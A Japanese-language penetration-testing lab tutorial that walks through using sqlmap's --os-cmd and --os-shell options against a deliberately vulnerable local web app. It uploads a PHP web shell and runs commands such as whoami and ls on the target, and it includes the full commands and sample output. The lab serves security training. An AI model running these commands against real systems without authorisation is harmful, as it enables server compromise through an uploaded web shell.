sqlmap でインタラクティブな OS シェルを取得する

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験 (Lab) では、広く使われているオープンソースのペネトレーションテストツールである sqlmap を使用して、SQL インジェクションの脆弱性を悪用し、完全な対話型オペレーティングシステムシェルへと権限昇格する方法を学びます。sqlmap はデータベースからのデータ列挙や外部への持ち出しに優れていますが、その能力は基盤となるサーバーの制御を奪うところまで拡張されています。

ここでは --os-shell 機能に焦点を当てます。この機能は、ターゲットサーバーにウェブシェル(ステージャー)をアップロードしようと試み、リモートシステムと直接対話できるコマンドプロンプトを提供します。この実験のために、SQL インジェクションの脆弱性を持つシンプルなウェブアプリケーションがセットアップされ、ローカルマシン上で実行されています。

OS コマンド実行の可否を確認する

このステップでは、完全な対話型シェルを取得しようとする前に、まずターゲットオペレーティングシステム上でコマンドを実行できることを確認します。これは重要な予備チェックです。sqlmap の --os-cmd フラグを使用することでこれを達成できます。このフラグは、ツールに指定された単一のコマンドを実行するように指示します。

ここでは、現在のユーザーの実効ユーザー名を表示する whoami コマンドを使用します。また、--batch フラグを使用して、sqlmap がすべて の対話型質問に対してデフォルトの回答で実行されるようにし、プロセスを高速化します。

ターミナルで以下のコマンドを実行してください。

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch

sqlmap がターゲットをテストするため、多くの出力が表示されます。完了するまで待ってください。出力の終盤に、whoami コマンドの結果が表示されるはずです。

...
[22:10:30] [INFO] fetching command output
[22:10:30] [INFO] retrieved: 'labex\n'
...
command execution stdout:
labex
...

labex という出力は、ユーザー labex としてリモートサーバー上でコマンドを正常に実行できることを確認します。

--os-shell フラグを使用してインタラクティブシェルを要求する

このステップでは、完全なインタラクティブシェルを取得するためのコマンドを準備します。OS コマンドの実行が可能であることを確認したので、より自信を持って進めることができます。

このための sqlmap のフラグは --os-shell です。このフラグが使用されると、sqlmap はウェブサーバー上の書き込み可能なディレクトリに「ステージャー」(この場合は PHP ウェブシェル)と呼ばれる小さなコード片をアップロードしようとします。このステージャーが、インタラクティブなコマンドシェルを提供するためのメカニズムとなります。

使用するコマンドは以下の通りです。

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

次のステップでこのコマンドを実行すると、sqlmap はステージャーをアップロードする最良の方法を決定するために、いくつかのプロンプトを通じて案内します。このステップではコマンドを実行せず、その目的を理解するだけです。

シェルを起動するコマンドを実行する

このステップでは、インタラクティブシェルを起動するためのコマンドを実行します。sqlmap は、ウェブアプリケーションの言語とサーバーのドキュメントルート(ウェブサイトのメインフォルダ)を特定するために、あなたの入力を求めます。

まず、ターミナルで以下のコマンドを実行します。

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

sqlmap が開始され、いくつかの質問をされる場合があります。

  1. バックエンドの DBMS について尋ねられることがあります。デフォルト(おそらく既に検出されているもの、例:SQLite)を受け入れるには Enter を押してください。

  2. 次に、ウェブサーバーのドキュメントルートを尋ねられます。これは重要なステップです。sqlmap はウェブシェルをアップロードするための書き込み可能なディレクトリを知る必要があります。セットアップスクリプトに基づくと、正しいパスは /home/labex/project/vulnerable_app です。

    [?] what is the web server document root? [/var/www/html] >
    

    以下のパスを入力して Enter を押してください。

    /home/labex/project/vulnerable_app

パスを提供した後、sqlmap はステージャーのアップロードを試みます。成功すると、アップロードを示すメッセージが表示され、新しいプロンプト os-shell> に遷移します。

...
[22:15:45] [INFO] trying to upload stager shell to '/home/labex/project/vulnerable_app'
[22:15:45] [INFO] uploading stager shell to '/home/labex/project/vulnerable_app/tmpueyge.php'
[22:15:45] [INFO] stager shell uploaded
os-shell>

この os-shell> プロンプトは、リモートサーバー上のインタラクティブシェルです。

sqlmap シェルプロンプト経由でリモートシステムと対話する

このステップでは、先ほど取得した os-shell> プロンプトを使用してリモートシステムと対話します。このプロンプトはローカルのターミナルではなく、ここで入力するすべてのコマンドはリモートサーバーに送信され、実行されます。

アクセスを確認するために、いくつかの簡単なコマンドを実行してみましょう。

まず、リモートサーバー上の現在の作業ディレクトリを調べるために pwd と入力して Enter を押します。

os-shell > pwd

出力は、sqlmap がステージャーファイルをアップロードしたディレクトリになるはずです。

/home/labex/project/vulnerable_app

次に、whoami と入力して、リモートシステム上のユーザーID を再度確認します。

os-shell > whoami

出力は再び labex になるはずです。

labex

これで、ターゲットシステム上でインタラクティブにコマンドを実行することに成功しました。

複数のコマンドを実行し、ファイルシステムを探索する

このステップでは、リモートファイルシステムのさらなる探索を行います。インタラクティブシェルは、ディレクトリの移動、ファイルの表示、サーバーのレイアウトの理解を可能にするため、強力です。

まず、ls -l コマンドを使用して、現在のディレクトリ(/home/labex/project/vulnerable_app)の内容をロングフォーマットで一覧表示します。

os-shell > ls -l

このディレクトリ内のファイルが表示されます。これには index.phpusers.db、および sqlmap によってアップロードされた一時的な PHP ウェブシェル(例:tmpueyge.php)が含まれます。

total 20
-rw-r--r-- 1 labex labex  539 Dec 10 22:05 index.php
-rw-r--r-- 1 labex labex   45 Dec 10 22:15 tmpueyge.php
-rw-r--r-- 1 labex labex 12288 Dec 10 22:05 users.db

次に、ファイルシステムを移動してみましょう。cd .. コマンドを使用して、親ディレクトリ(/home/labex/project)に移動します。

os-shell > cd ..

出力はありませんが、リモートサーバー上の現在のディレクトリは変更されました。新しいディレクトリの内容を一覧表示して確認します。

os-shell > ls

vulnerable_app ディレクトリが表示されるはずです。

vulnerable_app

これで、labex ユーザーの権限内で自由にファイルシステムを探索できます。sqlmap シェルを終了し、通常のターミナルに戻るには、exit と入力して Enter を押すだけです。

まとめ

この実験では、SQL インジェクションの脆弱性を悪用して、リモートサーバーへの完全なコマンドラインアクセスを獲得することに成功しました。以下の方法を学びました。

  • sqlmap の --os-cmd フラグを使用して、OS コマンド実行が可能であることを確認する。
  • --os-shell フラグを使用して、sqlmap にインタラクティブシェルを確立させる。
  • ウェブシェルのアップロードを容易にするために、ウェブサーバーのドキュメントルートなどの必要な情報を提供する。
  • sqlmap シェルを通じて pwdwhoamilscd などのコマンドを実行して、リモートシステムと対話する。

この演習は、SQL インジェクションの脆弱性が、データ窃盗だけでなく、システム全体の侵害につながる可能性があるという、重大なセキュリティリスクを示しています。